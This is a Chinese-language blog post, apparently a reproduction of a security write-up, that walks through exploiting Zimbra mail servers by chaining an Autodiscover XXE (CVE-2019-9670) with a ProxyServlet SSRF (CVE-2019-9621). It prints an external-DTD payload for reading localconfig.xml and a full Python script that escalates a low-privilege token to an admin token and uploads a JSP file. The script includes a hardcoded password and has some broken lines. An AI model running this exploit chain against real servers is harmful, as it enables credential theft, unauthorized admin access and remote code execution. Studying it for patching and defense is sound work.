Zimbra邮件服务器利用XXE漏洞与SSRF完成对目标的文件上传与远程代码执行

  • Post author:
  • Post category:其他



前言

原文地址:

https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html


参考文档:


https://blog.csdn.net/fnmsd/article/details/88657083


历史版本存在的


RCE


(远程代码执行)漏洞:


CVE-2013-7091


本地文件披露漏洞,影响范围为


8.0.2


以下版本。


CVE-2016-9924 XXE SoapEngine


文件漏洞,影响范围为


8.5


以下版本,结合


SSRF


可造成


RCE




CVE-2019-9670 XXE Autodiscover


文件漏洞,影响范围为


8.5-8.7.11


,结合


SSRF


可造成


RCE




至于在


Zimbra 8.7.11-8.8.11


版本上验证


RCE


,附加条件是


Zimbra


使用


Memcached




历史版本所有


XXE


漏洞:获取


localconfig.xml


XML


外部实体(


XXE


)攻击(有时称为


XXE


注入攻击)基于服务器端请求伪造。这种类型的攻击滥用了


XML


解析器广泛可用但很少使用的功能。使用


XXE


,攻击者能够导致拒绝服务(


DoS


)以及访问本地和远程内容和服务。在某些情况下,


XXE


甚至可以启用端口扫描并导致远程代码执行。有两种类型的


XXE


攻击:带内和带外。


Zimbra


对其内部和外部操作使用大量的


XML


来处理,使用好


XML


文件会带来很大的


XXE


漏洞。



CVE-2016-9924



的漏洞位于


SoapEngine.chooseFaultProtocolFromBadXml


()中,该错误发生在


invalid XML requests


。此漏洞

用于




8.5




以下的所有




Zimbra




实例版本



。但由于无法将输出提取到


HTTP response


,因此在利用它时需要使用带外提取方法。



CVE-2018-20160



漏洞是处理


XMPP


协议的


XXE


漏洞。



CVE-2019-9670



在处理


Autodiscover requests


时达到了


XXE


漏洞的要求,这可以在



8.5









8.7.11









Zimbra



上应用。


CVE-2019-9670


的另一个缺陷是


XHTML


文档


prevention bypass


,这也导致了


XXE


,但是它们都是需要一些额外的条件来触发,这些都允许通过


reponse


直接提取文件。


一、


CVE-2019-9670 XXE


漏洞


1


、根据文章提示找到漏洞触发的源码


根据文章提示,


CVE-2019-9670


在处理


Autodiscover requsets


时存在


XXE


漏洞,首先在内网的


ubuntu 16.04LTS


下安装


zimbra 8.7.10


版本,导出文件


zimbra/lib/jar/zimbrastore.jar


,利用


java


反编译器寻找关键字


Autodiscover


,发现此模块存在于


com/zimbra/cs/service/AutoDiscoverServlet.class


中。





/Autodiscover/Autodiscover.xml


试着


POST


一个空的


xml




看到返回的是


“No Email address is specified in the Request”


,于是在


AutoDiscoverServlet.class


中查找此语句,发现发送的


Request


主要是由此模块下的一个


doPost


函数来处理,


doPost


函数大致如下:


分析


doPost


代码,其利用模块下的


getTagValue


函数解析


request


,发现一共只解析两个参数,第一个是


EMailAddress


,也就是邮件用户名,第二个是


AcceptableResponseSchema


,而这个


AcceptableResponseSchema


是造成


XXE


漏洞的关键参数。


继续分析:


第一个


if


语句是判断邮件用户是否为空,并没有用户验证机制,所以只需随便构造一个邮箱用户就可以了。


第二个


if


语句的


responseSchema


为上文中获取的


AcceptableResponseSchema


标签下的参数,如果此参数不为两个给定的类型,则报错并返回


responseSchema


的内容,

此处造成了回显式的




XXE





2


、根据漏洞构造


xml


由上文分析得出


request


只需要两个参数即可,所以利用此条件构造内部注入的


xml







docs.microsoft.com


查询


AutoDiscover


的构造语句:


根据上图构造


post


语句,用


RestClient


插件发送


post


语句,如下图,


XXE


内部注入漏洞触发成功,返回文件内容:


由于


localconfig.xml





XML


文件,需要加上


CDATA


标签才能作为文本读取,由于


XXE


不能内部实体进行拼接,所以此处需要用外部


dtd


注入来触发


XXE


漏洞:


dtd


文件:

<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">

<!ENTITY % start "<![CDATA[">

<!ENTITY % end "]]>">

<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">


构造外网可访问的站点,上传


dtd


文件,构造外部注入的数据包,


post


发送返回


localconfig.xml


的内容:


在安装时,


Zimbra


为其内部


SOAP


通信设置了一个全局管理员,用户名为


“zimbra”


,并随机生成密码。这些信息均存储在名为


localconfig.xml


的本地文件中。分析了


CVE-2013-7091


漏洞,某些条件下可以使用此类凭证来获得


RCE


。但是


zimbra


通过令牌管理用户权限,并设置了一个应用程序模型,使得管理令牌只能被授予进入管理端口的请求,默认情况下端口是


7071


,但是很多网站都没有开


7071




3


、适用版本


经测试,适用版本为


8.5-8.7.11


,在


8.8


版本中,


zimbra





AutoDiscover


模块做了


XML


外部实体注入防护:


二、


CVE-2019-9621 SSRF


漏洞


如果目标网站关闭了


7071


端口,那么还有其他的方法,那就是


SSRF


漏洞。文章中提到用


ProxyServlet


,利用反编译器找到此函数:


根据博客文章的说明,此


ProxyServlet


可以代理对另一个位置的请求,并且这个


servlet


可以在普通用户的


webapp


上使用,因此可以从公共访问。但是代码具有另外的保护,它会检查代理目标是否与一组预定义的白名单域匹配,也就是说请求来自管理员,所以第一步先要取到管理员作为普通用户的


autotoken


值。由于


zimbra


在管理员检查中存在缺陷,它检查的第一件事是请求是否来自端口


7071


,但是它使用的是


ServletRequest.getServerPort()


来获取传入的端口。利用管理员的检查缺陷,用


cookie


发送带有


“foo:7071”


主机头和低权限的


autotoken


值,我们可以将请求代理到任意目标。


1


、获取低权限


autotoken





低权限


token


可以通过


soap


接口发送


AuthRequest


进行获取:


使用已经获得的


zimbra_admin_name





zimbra_ldap_password


进行登陆,获取一个低权限


Token




2


、利用该


token


使用


cookie


发送


“foo:7071”


造成


SSRF


编写


python


脚本


首先通过账号和加密口令先获取低权限口令,然后通过


proxy


接口,向




https://target.com/service/proxy?target=https://127.0.0.1:7071/service/admin/soap




发送


cookie


,访问


admin





soap


接口获取高权限


Token


,获取权限然后实现文件上传。

#coding=utf8

import requests

import sys

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

base_url=sys.argv[1]

base_url=base_url.rstrip("/")

#upload file name and content

filename = "111.jsp"

fileContent = r'<%out.println("111");%>'

print(base_url)

#low_token Stage

import re

username = "zimbra"

password = "3Z0sGzkL"

print(username)

print(password)

auth_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">

soap:Header

<context xmlns="urn:zimbra">

<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>

</context>

/soap:Header

soap:Body

<AuthRequest xmlns="{xmlns}">

<account by="adminName">{username}</account>

<password>{password}</password>

</AuthRequest>

/soap:Body

/soap:Envelope

"""

print("[*] Get Low Privilege Auth Token")

r=requests.post(base_url+"/service/soap",data=auth_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False)

pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")

print(pattern_auth_token)

low_priv_token = pattern_auth_token.findall(r.text)[0]

#print(low_priv_token)

# SSRF+Get Admin_Token Stage

headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_priv_token+";"

headers["Host"]="foo:7071"

print("[*] Get Admin Auth Token By SSRF")

data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password)

print(data)

r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=data,headers=headers,verify=False)

admin_token =pattern_auth_token.findall(r.text)[0]

#print("ADMIN_TOKEN:"+admin_token)

f = {

'filename1':(None,"whocare",None),

'clientFile':(filename,fileContent,"text/plain"),

'requestId':(None,"12",None),

}

headers ={

"Cookie":"ZM_ADMIN_AUTH_TOKEN="+admin_token+";"

}

print("[*] Uploading file")

r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)

print(r.text)

print("Please vist "+base_url+"/downloads/"+filename)

print("[*] Request Result:")

s = requests.session()

r = s.get(base_url+"/downloads/"+filename,verify=False,headers=headers)

print(r.text)

print("May need cookie:")

print(headers['Cookie'])


对目标进行


SSRF


漏洞测试:


发现


jsp


文件已经上传成功!



版权声明:本文为weixin_41732430原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。